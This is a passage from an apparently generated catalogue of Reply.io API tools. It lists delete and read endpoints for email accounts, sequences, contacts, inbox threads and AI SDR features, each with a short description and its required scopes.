by id. Use bulk-delete to remove several in one call. DELETE /api/v1/replyio/v3/email-accounts/{id}. Scopes: channels:write. replyio_delete_v3_email_accounts_by_id_tags (write, destructive) — Remove tags from an email account. DELETE /v3/email-accounts/{id}/tags. Take one or more tags off an email account by name. Only the link goes — the tag stays available on other accounts. DELETE /api/v1/replyio/v3/email-accounts/{id}/tags. Scopes: channels:operate. replyio_delete_v3_email_template_folders_by_id (write, destructive) — Delete an email template folder. DELETE /v3/email-template-folders/{id}. Delete an email template folder, passing its foldertype. Team folders must be emptied first; personal ones just unfile. DELETE /api/v1/replyio/v3/email-template-folders/{id}. Scopes: sequences:write. replyio_delete_v3_email_templates_by_id (write, destructive) — Delete an email template. DELETE /v3/email-templates/{id}. Permanently delete an email template by id. There is no undo, and a successful call returns no content. DELETE /api/v1/replyio/v3/email-templates/{id}. Scopes: sequences:write. replyio_delete_v3_holiday_calendars_by_id (write, destructive) — Delete a holiday calendar. DELETE /v3/holiday-calendars/{id}. Delete a custom calendar you created. It detaches from every schedule that used it; Reply's country calendars can't go. DELETE /api/v1/replyio/v3/holiday-calendars/{id}. Scopes: sequences:write. replyio_delete_v3_inbox_threads_by_id (write, destructive) — Delete inbox thread. DELETE /v3/inbox/threads/{id}. Permanently delete one conversation and its messages. Use bulk-delete to remove several in one call. DELETE /api/v1/replyio/v3/inbox/threads/{id}. Scopes: inbox:operate. replyio_delete_v3_inbox_threads_categories_by_id (write, destructive) — Delete inbox category. DELETE /v3/inbox/threads/categories/{id}. Delete one of your own inbox categories. Threads filed under it are unlinked and stay put. Reserved categories return 403. DELETE /api/v1/replyio/v3/inbox/threads/categories/{id}. Scopes: inbox:write. replyio_delete_v3_linkedin_accounts_by_id (write, destructive) — Delete a LinkedIn account. DELETE /v3/linkedin-accounts/{id}. Disconnect one LinkedIn account. An account still used by a sequence is rejected unless you pass force=true. DELETE /api/v1/replyio/v3/linkedin-accounts/{id}. Scopes: channels:write. replyio_delete_v3_linkedin_accounts_pending_by_id (write, destructive) — Delete a pending LinkedIn account. DELETE /v3/linkedin-accounts/pending/{id}. Cancel an outstanding LinkedIn connection invitation, for instance when its link expired or went to the wrong person. DELETE /api/v1/replyio/v3/linkedin-accounts/pending/{id}. Scopes: channels:write. replyio_delete_v3_schedules_by_id (write, destructive) — Delete a schedule. DELETE /v3/schedules/{id}. Delete a schedule for good. Rejected while a sequence, template, or someone's default is still using it. DELETE /api/v1/replyio/v3/schedules/{id}. Scopes: sequences:write. replyio_delete_v3_schedules_by_id_holiday_calendar_links_by_calendarid (write, destructive) — Unlink a holiday calendar from a schedule. DELETE /v3/schedules/{id}/holiday-calendar-links/{calendarId}. Stop a schedule observing a holiday calendar. The calendar itself stays available to other schedules. DELETE /api/v1/replyio/v3/schedules/{id}/holiday-calendar-links/{calendarId}. Scopes: sequences:operate. replyio_delete_v3_sequence_folders_by_id (write, destructive) — Delete a sequence folder. DELETE /v3/sequence-folders/{id}. Delete one of your sequence folders. The sequences inside are kept and simply become unfiled, ready to refile. DELETE /api/v1/replyio/v3/sequence-folders/{id}. Scopes: sequences:write. replyio_delete_v3_sequence_templates_by_id (write, destructive) — Delete a sequence template. DELETE /v3/sequence-templates/{id}. Delete a sequence template so it's no longer offered. Team templates are shared, so any teammate who sees one can delete it. DELETE /api/v1/replyio/v3/sequence-templates/{id}. Scopes: sequences:write. replyio_delete_v3_sequences_ai_sdr_by_sequence_id_contacts_by_contact_id_approval (write, destructive) — Reject (delete) a pending approval. DELETE /v3/sequences/ai-sdr/{sequence_id}/contacts/{contact_id}/approval. Reject a contact's queued draft instead of sending it. The draft is discarded and the contact leaves the sequence. DELETE /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/contacts/{contact_id}/approval. Scopes: ai-sdr:write. replyio_delete_v3_sequences_ai_sdr_by_sequence_id_knowledge_base (write, destructive) — Disconnect the knowledge base from the sequence. DELETE /v3/sequences/ai-sdr/{sequence_id}/knowledge-base. Stop the AI SDR drawing on this sequence's knowledge base. Only the connection goes — the knowledge base itself stays. DELETE /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/knowledge-base. Scopes: ai-sdr:operate. replyio_delete_v3_sequences_ai_sdr_by_sequence_id_playbook (write, destructive) — Detach the playbook from the sequence. DELETE /v3/sequences/ai-sdr/{sequence_id}/playbook. Stop the AI SDR following this sequence's playbook. Only the connection goes — the playbook stays available elsewhere. DELETE /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/playbook. Scopes: ai-sdr:operate. replyio_delete_v3_sequences_by_id (write, destructive) — Delete a sequence. DELETE /v3/sequences/{id}. Delete a sequence by id. Its contacts stay in your account, but the sequence can't be restored — archive it instead. DELETE /api/v1/replyio/v3/sequences/{id}. Scopes: sequences:write. replyio_delete_v3_sequences_by_id_contact_links_by_contact_id (write, destructive) — Remove contact from sequence. DELETE /v3/sequences/{id}/contact-links/{contact_id}. Take one contact out of a sequence. They stop progressing, but the contact and their history stay in your account. DELETE /api/v1/replyio/v3/sequences/{id}/contact-links/{contact_id}. Scopes: sequences:operate. replyio_delete_v3_sequences_by_id_email_account_links_by_email_account_id (write, destructive) — Remove email account from sequence. DELETE /v3/sequences/{id}/email-account-links/{email_account_id}. Stop a sequence sending from one of its mailboxes. The account itself stays connected and works in other sequences. DELETE /api/v1/replyio/v3/sequences/{id}/email-account-links/{email_account_id}. Scopes: sequences:operate. replyio_delete_v3_sequences_by_id_linkedin_account_links_by_linkedinaccountid (write, destructive) — Remove a LinkedIn account from a sequence. DELETE /v3/sequences/{id}/linkedin-account-links/{linkedInAccountId}. Stop a sequence sending LinkedIn steps from one linked account. The account stays connected and works elsewhere. DELETE /api/v1/replyio/v3/sequences/{id}/linkedin-account-links/{linkedInAccountId}. Scopes: sequences:operate. replyio_delete_v3_sequences_by_id_steps_by_step_id (write, destructive) — Delete a sequence step. DELETE /v3/sequences/{id}/steps/{step_id}. Delete a step from a sequence. Children re-attach to its parent by default; condition steps need a mode for the branches. DELETE /api/v1/replyio/v3/sequences/{id}/steps/{step_id}. Scopes: sequences:write. replyio_delete_v3_sequences_by_id_steps_by_step_id_variants_by_variant_id (write, destructive) — Delete a step variant. DELETE /v3/sequences/{id}/steps/{step_id}/variants/{variant_id}. Delete one variant from a step for good. A variant already sent to a contact can't go, and a step keeps one enabled. DELETE /api/v1/replyio/v3/sequences/{id}/steps/{step_id}/variants/{variant_id}. Scopes: sequences:write. replyio_delete_v3_tasks_by_id (write, destructive) — Delete a task. DELETE /v3/tasks/{id}. Remove one task by id. An open task is cancelled and a completed one archived; either way it leaves your task lists. DELETE /api/v1/replyio/v3/tasks/{id}. Scopes: tasks:write. replyio_delete_v3_webhooks_by_id (write, destructive) — Delete a webhook subscription. DELETE /v3/webhooks/{id}. Delete a subscription for good. Deliveries stop at once and its failure log goes too, so read the logs first if needed. DELETE /api/v1/replyio/v3/webhooks/{id}. Scopes: webhooks:write. replyio_get_v3_ai_prompts (read) — List AI prompts. GET /v3/ai-prompts. Get the AI prompts available for a sequence step type, in one call with no paging. Mixes Reply's library prompts and yours. GET /api/v1/replyio/v3/ai-prompts. Scopes: sequences:read. replyio_get_v3_ai_sdr_approvals (read) — List pending approvals. GET /v3/ai-sdr/approvals. Work through the AI messages your team's sequences have queued for approval. Paged with top and skip, filterable by sequence. GET /api/v1/replyio/v3/ai-sdr/approvals. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_intent_signals_industries (read) — Intent signal industries typeahead. GET /v3/ai-sdr/intent-signals/industries. Get the industries you can reference in an AI SDR intent signal. The id is what you send as technologyUsed.industryId. GET /api/v1/replyio/v3/ai-sdr/intent-signals/industries. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_intent_signals_technologies (read) — Technologies typeahead. GET /v3/ai-sdr/intent-signals/technologies. Get the technologies you can reference in an AI SDR intent signal. Send the slug in technologyUsed.technologies. GET /api/v1/replyio/v3/ai-sdr/intent-signals/technologies. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_knowledge_bases (read) — List knowledge bases. GET /v3/ai-sdr/knowledge-bases. Browse the knowledge bases you can see — the collections that brief the AI SDR. Paged with top and skip. GET /api/v1/replyio/v3/ai-sdr/knowledge-bases. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_knowledge_bases_by_id (read) — Get a knowledge base. GET /v3/ai-sdr/knowledge-bases/{id}. Get one knowledge base by id: its name, standing instructions, owner, and last update. Its contents have their own endpoints. GET /api/v1/replyio/v3/ai-sdr/knowledge-bases/{id}. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_documents (read) — List documents. GET /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/documents. List the files a knowledge base holds for the AI SDR. Paged with top and skip, with an optional search on the file name. GET /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/documents. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_links (read) — List links. GET /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/links. List the web pages a knowledge base pulls content from. Paged with top and skip, with an optional search on the URL. GET /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/links. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reengagement_cards (read) — List reengagement cards. GET /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-cards. Review the follow-ups a knowledge base sends to contacts who went quiet. Paged with top and skip, filterable by flow. GET /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-cards. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reengagement_cards_by_reengagement_card_id (read) — Get a reengagement card. GET /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-cards/{reengagement_card_id}. Get one reengagement card in full: instructions, sample answer, the sendAfter delay, tone, length, links, and media. GET /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-cards/{reengagement_card_id}. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reengagement_flows (read) — List reengagement flows. GET /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows. List the reengagement flows on a knowledge base. Returned as one plain array with each flow's name, description, and card count. GET /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reengagement_flows_by_flow_id_contacts_count (read) — Get contacts count for a reengagement flow. GET /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows/{flow_id}/contacts-count. Count the contacts currently on a reengagement flow. The body is the number on its own, as a plain integer. GET /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows/{flow_id}/contacts-count. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reengagement_flows_state (read) — Get reengagement flow state for a contact. GET /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows/state. See which reengagement flow a contact is on and when it was assigned. Pass sequenceid and contactid as query parameters. GET /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows/state. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reply_handlers (read) — List reply handlers. GET /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reply-handlers. Review the rules that tell the AI SDR how to answer each kind of reply. Paged with the top and skip query parameters. GET /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reply-handlers. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reply_handlers_by_reply_handler_id (read) — Get a reply handler. GET /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reply-handlers/{reply_handler_id}. Get one reply handler in full: its question type, instructions, sample answer, tone, length, links, media, and delivery mode. GET /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reply-handlers/{reply_handler_id}. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_offers (read) — List offers. GET /v3/ai-sdr/offers. Browse the AI SDR offers you can work with. Each bundles the company context used to personalize outreach. Paged with top and skip. GET /api/v1/replyio/v3/ai-sdr/offers. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_offers_by_id (read) — Get an offer. GET /v3/ai-sdr/offers/{id}. Get one offer in full: company name and description, ICP, reason for outreach, case studies, pain points, and value props. GET /api/v1/replyio/v3/ai-sdr/offers/{id}. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_playbooks (read) — List playbooks. GET /v3/ai-sdr/playbooks. Browse the AI SDR playbooks you can use. Pass type to keep one scope: global, organization, or team. GET /api/v1/replyio/v3/ai-sdr/playbooks. Scopes: ai-sdr:read. replyio_get_v3_ai_sdr_playbooks_by_id (read) — Get a playbook. GET /v3/ai-sdr/playbooks/{id}. Get one playbook by composite id — g- global, o- organization, t- team — with its description, body, and style files. GET /api/v1/replyio/v3/ai-sdr/playbooks/{id}. Scopes: ai-sdr:read. replyio_get_v3_ai_web_search_searches (read) — List AI web searches for a sequence. GET /v3/ai-web-search/searches. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Review the AI web searches already started for one sequence. sequenceId is required, so each call covers a single sequence. WITHHELD: Reply.io does not serve this endpoint yet (measured 2026-09-15), so this call is refused before any request is made. GET /api/v1/replyio/v3/ai-web-search/searches. Scopes: none. replyio_get_v3_background_jobs (read) — List background jobs. GET /v3/background-jobs. See the asynchronous work you've started and where each job stands, running and finished alike. Paged with top and skip. GET /api/v1/replyio/v3/background-jobs. Scopes: other:read. replyio_get_v3_background_jobs_by_jobid (read) — Get a background job. GET /v3/background-jobs/{jobId}. Check how far a background job has got. Poll until status settles on Done, Failed, Cancelled, or Expired, and read progress. GET /api/v1/replyio/v3/background-jobs/{jobId}. Scopes: other:read. replyio_get_v3_contact_account_lists (read) — List account lists. GET /v3/contact-account-lists. Browse your team's account lists, yours first. Lists are shared team-wide. Paged with the top and skip query parameters. GET /api/v1/replyio/v3/contact-account-lists. Scopes: contacts:read. replyio_get_v3_contact_account_lists_by_id (read) — Get an account list. GET /v3/contact-account-lists/{id}. Get one account list by id, including its name. Account lists are team-wide, so you can fetch any list your team owns. GET /api/v1/replyio/v3/contact-account-lists/{id}. Scopes: contacts:read. replyio_get_v3_contact_accounts (read) — List accounts. GET /v3/contact-accounts. Browse the accounts you can see — the companies your contacts belong to. Paged with top and skip, with an optional search. GET /api/v1/replyio/v3/contact-accounts. Scopes: contacts:read. replyio_get_v3_contact_accounts_by_id (read) — Get an account. GET /v3/contact-accounts/{id}. Get one account by id: company details, owner, stage, linked contact count, and the mail provider behind its domain. GET /api/v1/replyio/v3/contact-accounts/{id}. Scopes: contacts:read. replyio_get_v3_contact_accounts_by_id_contacts (read) — List contacts for an account. GET /v3/contact-accounts/{id}/contacts. Get the contacts currently linked to an account, paged with top and skip. Each entry carries the email, name, and job title. GET /api/v1/replyio/v3/contact-accounts/{id}/contacts. Scopes: contacts:read. replyio_get_v3_contact_blacklist_rules_domains (read) — List domain blacklist rules. GET /v3/contact-blacklist-rules/domains. Review the domain rules in force for you, each blocking every contact at that domain. Paged with top and skip. GET /api/v1/replyio/v3/contact-blacklist-rules/domains. Scopes: contacts:read. replyio_get_v3_contact_blacklist_rules_domains_by_id (read) — Get a domain blacklist rule. GET /v3/contact-blacklist-rules/domains/{id}. Get one domain blacklist rule by id with the pattern it blocks. isGlobal tells you if it's yours or a Reply platform rule. GET /api/v1/replyio/v3/contact-blacklist-rules/domains/{id}. Scopes: contacts:read. replyio_get_v3_contact_blacklist_rules_email_exceptions (read) — List email exception blacklist rules. GET /v3/contact-blacklist-rules/email-exceptions. Review the addresses you carved out of your blacklist, each staying contactable despite a domain rule. Paged with top and skip. GET /api/v1/replyio/v3/contact-blacklist-rules/email-exceptions. Scopes: contacts:read. replyio_get_v3_contact_blacklist_rules_email_exceptions_by_id (read) — Get an email exception blacklist rule. GET /v3/contact-blacklist-rules/email-exceptions/{id}. Get one email exception rule by id with the address it keeps contactable. Only your own exceptions resolve here. GET /api/v1/replyio/v3/contact-blacklist-rules/email-exceptions/{id}. Scopes: contacts:read. replyio_get_v3_contact_blacklist_rules_emails (read) — List email blacklist rules. GET /v3/contact-blacklist-rules/emails. Review the email rules in force for you, each blocking a single address rather than a domain. Paged with top and skip. GET /api/v1/replyio/v3/contact-blacklist-rules/emails. Scopes: contacts:read. replyio_get_v3_contact_blacklist_rules_emails_by_id (read) — Get an email blacklist rule. GET /v3/contact-blacklist-rules/emails/{id}. Get one email blacklist rule by id with the address it blocks. isGlobal tells you if it's yours or a Reply platform rule. GET /api/v1/replyio/v3/contact-blacklist-rules/emails/{id}. Scopes: contacts:read. replyio_get_v3_contact_lists (read) — List contact lists. GET /v3/contact-lists. Browse the contact lists you own plus any shared with your team. Paged with top and skip, with an optional name search. GET /api/v1/replyio/v3/contact-lists. Scopes: contacts:read. replyio_get_v3_contact_lists_by_id (read) — Get a contact list. GET /v3/contact-lists/{id}. Get one contact list by id, including its name and whether it is shared with your team. GET /api/v1/replyio/v3/contact-lists/{id}. Scopes: contacts:read. replyio_get_v3_contacts (read) — List all contacts. GET /v3/contacts. Browse your contacts or look one up by exact email or LinkedIn URL. Paged with the top and skip query parameters. GET /api/v1/replyio/v3/contacts. Scopes: contacts:read. replyio_get_v3_contacts_by_id (read) — Get a contact. GET /v3/contacts/{id}. Get the full record for one contact by id: profile fields, owner, opt-out, call and meeting status, and custom fields. GET /api/v1/replyio/v3/contacts/{id}. Scopes: contacts:read. replyio_get_v3_contacts_by_id_activities (read) — Get activities for a contact. GET /v3/contacts/{id}/activities. Get a contact's activity history — emails, calls, status changes, and other tracked events. Paged with top and skip. GET /api/v1/replyio/v3/contacts/{id}/activities. Scopes: contacts:read. replyio_get_v3_contacts_by_id_inbox_threads (read) — Get inbox threads for a contact. GET /v3/contacts/{id}/inbox-threads. Get the email conversation threads exchanged with a contact, grouped as they appear in your inbox. Paged with top and skip. GET /api/v1/replyio/v3/contacts/{id}/inbox-threads. Scopes: contacts:read. replyio_get_v3_contacts_by_id_lists (read) — Get contact's lists. GET /v3/contacts/{id}/lists. See which contact lists a contact belongs to, including each list's name and whether it's shared with your team. GET /api/v1/replyio/v3/contacts/{id}/lists. Scopes: contacts:read. replyio_get_v3_contacts_by_id_sequences (read) — Get sequences for a contact. GET /v3/contacts/{id}/sequences. See which sequences a contact is in, with each sequence's name, their status, the current step, and when they were added. GET /api/v1/replyio/v3/contacts/{id}/sequences. Scopes: contacts:read. replyio_get_v3_contacts_by_id_statuses (read) — Get a contact's statuses. GET /v3/contacts/{id}/statuses. Check where a contact stands: global opt-out, call and meeting flags, plus their status in each sequence they're enrolled in. GET /api/v1/replyio/v3/contacts/{id}/statuses. Scopes: contacts:read. replyio_get_v3_custom_fields (read) — List all custom fields. GET /v3/custom-fields. Get every custom field your contacts can carry, for your team and your organization. One flat array, no paging. GET /api/v1/replyio/v3/custom-fields. Scopes: contacts:read. replyio_get_v3_custom_fields_by_id (read) — Get a custom field. GET /v3/custom-fields/{id}. Get one custom field definition by id: its title, its text or number type, its metadata, and whether it's org-wide. GET /api/v1/replyio/v3/custom-fields/{id}. Scopes: contacts:read. replyio_get_v3_email_accounts (read) — List email accounts. GET /v3/email-accounts. Browse the email accounts you can send from. Pass my=true to see only your own. Paged with top and skip. GET /api/v1/replyio/v3/email-accounts. Scopes: channels:read. replyio_get_v3_email_accounts_by_id (read) — Get an email account. GET /v3/email-accounts/{id}. Get one email account in full: connection, safety, signature, opt-out and ramp-up settings, tags, and connection status. GET /api/v1/replyio/v3/email-accounts/{id}. Scopes: channels:read. replyio_get_v3_email_accounts_by_id_stats (read) — Get email account stats. GET /v3/email-accounts/{id}/stats. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. See how much sending capacity one email account has left: sent today, the daily limit, and the all-time total. GET /api/v1/replyio/v3/email-accounts/{id}/stats. Scopes: channels:read. replyio_get_v3_email_accounts_connect_gmail (read) — Connect Gmail account via OAuth. GET /v3/email-accounts/connect/gmail. Start connecting a Gmail mailbox. Returns a 302 to Google's consent screen, so follow it in a browser, not a backend client. Returns the consent URL (as authorization_url) instead of following the redirect: open it in a browser signed in as the mailbox owner. GET /api/v1/replyio/v3/email-accounts/connect/gmail. Scopes: channels:write. replyio_get_v3_email_accounts_connect_office_365 (read) — Connect Office 365 account via OAuth. GET /v3/email-accounts/connect/office-365. Start connecting an Office 365 or Outlook mailbox. Returns a 302 to Microsoft's consent screen — follow it in a browser. Returns the consent URL (as authorization_url) instead of following the redirect: open it in a browser signed in as the mailbox owner. GET /api/v1/replyio/v3/email-accounts/connect/office-365. Scopes: channels:write. replyio_get_v3_email_accounts_procurement_domains_available (read) — Find available procurement domains. GET /v3/email-accounts/procurement/domains/available. Documented by Reply.io as coming soon (available by late September 2026); it may not answer yet. Domain names available to buy for mailbox procurement, with purchase and renewal prices in cents. Search one label in domainName against up to 5 TLDs in tlds (com, net, org, biz, live). GET /api/v1/replyio/v3/email-accounts/procurement/domains/available. Scopes: channels:read. replyio_get_v3_email_accounts_tags (read) — List email account tags. GET /v3/email-accounts/tags. Get the email account tags available to you, each with its id, name, and color. Tags are referenced by name. GET /api/v1/replyio/v3/email-accounts/tags. Scopes: channels:read. replyio_get_v3_email_template_folders (read) — List email template folders. GET /v3/email-template-folders. Get every folder available for organizing email templates — personal, team, community, and organization — in one array. GET /api/v1/replyio/v3/email-template-folders. Scopes: sequences:read. replyio_get_v3_email_template_folders_by_id (read) — Get an email template folder. GET /v3/email-template-folders/{id}. Get one email template folder by id. The foldertype query parameter is required: personal, team, community, or organization. GET /api/v1/replyio/v3/email-template-folders/{id}. Scopes: sequences:read. replyio_get_v3_email_templates (read) — List email templates. GET /v3/email-templates. Browse the email templates you can use: your own, your team's, and any shared with you. Paged with top and skip. GET /api/v1/replyio/v3/email-templates. Scopes: sequences:read. replyio_get_v3_email_templates_by_id (read) — Get an email template. GET /v3/email-templates/{id}. Get one email template in full: name, subject, body, folder, attachments, and its created and updated timestamps. GET /api/v1/replyio/v3/email-templates/{id}. Scopes: sequences:read. replyio_get_v3_email_templates_variables (read) — Get template variables. GET /v3/email-templates/variables. Get the variables you can place in a template subject or body, grouped by category, each with its key and what it fills in. GET /api/v1/replyio/v3/email-templates/variables. Scopes: sequences:read. replyio_get_v3_holiday_calendars (read) — List holiday calendars. GET /v3/holiday-calendars. See which holiday calendars you can link to a schedule — your team's custom ones plus Reply's country calendars. GET /api/v1/replyio/v3/holiday-calendars. Scopes: sequences:read. replyio_get_v3_holiday_calendars_by_id (read) — Get a holiday calendar. GET /v3/holiday-calendars/{id}. Get one holiday calendar in full: name, type, country code, the repeat setting, and every holiday with its dates. GET /api/v1/replyio/v3/holiday-calendars/{id}. Scopes: sequences:read. replyio_get_v3_holiday_calendars_by_id_export_csv (read) — Export a holiday calendar as CSV. GET /v3/holiday-calendars/{id}/export-csv. Download a holiday calendar as CSV, listing each holiday's name and dates as yyyy-MM-dd. The file is named after it. GET /api/v1/replyio/v3/holiday-calendars/{id}/export-csv. Scopes: sequences:read. replyio_get_v3_inbox_threads (read) — List inbox threads. GET /v3/inbox/threads. Browse your inbox — email and LinkedIn conversations with contacts, most recently active first. Paged with top and skip. GET /api/v1/replyio/v3/inbox/threads. Scopes: inbox:read. replyio_get_v3_inbox_threads_by_id (read) — Get inbox thread. GET /v3/inbox/threads/{id}. Get one conversation in full, with its message history in order. Use the messages endpoint to page a long exchange. GET /api/v1/replyio/v3/inbox/threads/{id}. Scopes: inbox:read. replyio_get_v3_inbox_threads_by_id_messages (read) — List messages in an inbox thread. GET /v3/inbox/threads/{id}/messages. Page through one conversation's messages, oldest first. Email messages carry recipient and subject; LinkedIn ones don't. GET /api/v1/replyio/v3/inbox/threads/{id}/messages. Scopes: inbox:read. replyio_get_v3_inbox_threads_categories (read) — List inbox categories. GET /v3/inbox/threads/categories. Get the categories you can file conversations under, including Reply's reserved ones, each with its unread count. GET /api/v1/replyio/v3/inbox/threads/categories. Scopes: inbox:read. replyio_get_v3_inbox_threads_categories_by_id (read) — Get inbox category. GET /v3/inbox/threads/categories/{id}. Get one inbox category by id: its name, color, whether it's reserved by Reply, and its current unread thread count. GET /api/v1/replyio/v3/inbox/threads/categories/{id}. Scopes: inbox:read. replyio_get_v3_linkedin_accounts (read) — List LinkedIn accounts. GET /v3/linkedin-accounts. Get the LinkedIn accounts connected to Reply, with connection state and automation limits. One call, no paging. GET /api/v1/replyio/v3/linkedin-accounts. Scopes: channels:read. replyio_get_v3_linkedin_accounts_by_id (read) — Get a LinkedIn account. GET /v3/linkedin-accounts/{id}. Get one connected LinkedIn account in full: profile, account and cookie status, daily usage, limits, and revoke settings. GET /api/v1/replyio/v3/linkedin-accounts/{id}. Scopes: channels:read. replyio_get_v3_linkedin_accounts_pending (read) — List pending LinkedIn accounts. GET /v3/linkedin-accounts/pending. Track LinkedIn accounts invited by link but not yet connected, with the link, its expiry, and whether it has expired. GET /api/v1/replyio/v3/linkedin-accounts/pending. Scopes: channels:read. replyio_get_v3_live_data_filter_values_departments (read) — Departments typeahead. GET /v3/live-data/filter-values/departments. Get the department names a Live Data search can filter on. Each is a plain string you pass in the departments filter. GET /api/v1/replyio/v3/live-data/filter-values/departments. Scopes: contacts:read. replyio_get_v3_live_data_filter_values_industries (read) — Live Data industries typeahead. GET /v3/live-data/filter-values/industries. Get the industry names a Live Data search can filter on. Each is a plain string you pass in the industries filter. GET /api/v1/replyio/v3/live-data/filter-values/industries. Scopes: contacts:read. replyio_get_v3_live_data_filter_values_job_titles (read) — Job titles typeahead. GET /v3/live-data/filter-values/job-titles. Get the job titles a Live Data search can filter on. Each is a plain string you pass in the jobTitles filter. GET /api/v1/replyio/v3/live-data/filter-values/job-titles. Scopes: contacts:read. replyio_get_v3_live_data_filter_values_locations (read) — Locations typeahead. GET /v3/live-data/filter-values/locations. Get the place names a Live Data search can filter on. Mixes countries, regions, and cities, with no separate country list. GET /api/v1/replyio/v3/live-data/filter-values/locations. Scopes: contacts:read. replyio_get_v3_live_data_filter_values_seniorities (read) — Seniorities typeahead. GET /v3/live-data/filter-values/seniorities. Get the seniority levels a Live Data search can filter on. This filter takes a plain array of strings, unlike the others. GET /api/v1/replyio/v3/live-data/filter-values/seniorities. Scopes: contacts:read. replyio_get_v3_live_data_searches (read) — List Live Data searches. GET /v3/live-data/searches. Get the Live Data searches your team has run, newest first, each with status, contacts found, and credits used. GET /api/v1/replyio/v3/live-data/searches. Scopes: contacts:read. replyio_get_v3_live_data_searches_by_id (read) — Get a Live Data search. GET /v3/live-data/searches/{id}. Get one Live Data search by id — status, contacts found, credits used, target sequence and lists, plus its filters. GET /api/v1/replyio/v3/live-data/searches/{id}. Scopes: contacts:read. replyio_get_v3_schedules (read) — List schedules. GET /v3/schedules. Get every schedule your team can use. A schedule sets the weekday windows a sequence may send in. One call, no paging. GET /api/v1/replyio/v3/schedules. Scopes: sequences:read. replyio_get_v3_schedules_by_id (read) — Get a schedule. GET /v3/schedules/{id}. Get one schedule in full: its time zone, main and follow-up windows, and the flags controlling how they apply. GET /api/v1/replyio/v3/schedules/{id}. Scopes: sequences:read. replyio_get_v3_schedules_by_id_holiday_calendars (read) — List linked holiday calendars. GET /v3/schedules/{id}/holiday-calendars. See which holiday calendars are attached to a schedule, each in short form with its id, name, type, and country code. GET /api/v1/replyio/v3/schedules/{id}/holiday-calendars. Scopes: sequences:read. replyio_get_v3_sequence_folders (read) — List all sequence folders. GET /v3/sequence-folders. Get the folders you have for organizing sequences, sorted by name, in one array. Folders are personal to you. GET /api/v1/replyio/v3/sequence-folders. Scopes: sequences:read. replyio_get_v3_sequence_folders_by_id (read) — Get a sequence folder. GET /v3/sequence-folders/{id}. Get one sequence folder by id, with its name. Folders are personal, so someone else's id reports not found. GET /api/v1/replyio/v3/sequence-folders/{id}. Scopes: sequences:read. replyio_get_v3_sequence_folders_by_id_sequences (read) — List sequences in a folder. GET /v3/sequence-folders/{id}/sequences. See which sequences are filed in a folder. Paged with top and skip, sortable by title, created, or people. GET /api/v1/replyio/v3/sequence-folders/{id}/sequences. Scopes: sequences:read. replyio_get_v3_sequence_templates (read) — List all sequence templates. GET /v3/sequence-templates. See which sequence templates you can start a new sequence from. A blueprint for a whole sequence, not an email template. GET /api/v1/replyio/v3/sequence-templates. Scopes: sequences:read. replyio_get_v3_sequences (read) — List all sequences. GET /v3/sequences. Browse the sequences you can work with. Paged with top and skip, and filterable by status, owner, folder, and name. GET /api/v1/replyio/v3/sequences. Scopes: sequences:read. replyio_get_v3_sequences_ai_sdr_by_sequence_id_contacts_by_contact_id_ai_insights (read) — Get AI insights for a contact. GET /v3/sequences/ai-sdr/{sequence_id}/contacts/{contact_id}/ai-insights. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Get the AI SDR insights summary for one contact in one sequence. Returns a single Markdown field, ready to render as-is. WITHHELD: Reply.io does not serve this endpoint yet (measured 2026-09-15), so this call is refused before any request is made. GET /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/contacts/{contact_id}/ai-insights. Scopes: none. replyio_get_v3_sequences_ai_sdr_by_sequence_id_contacts_by_contact_id_approval (read) — Get pending approval for a contact. GET /v3/sequences/ai-sdr/{sequence_id}/contacts/{contact_id}/approval. Review one queued draft before you act on it. It's addressed by sequence and contact id — there is no separate approval id. GET /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/contacts/{contact_id}/approval. Scopes: ai-sdr:read. 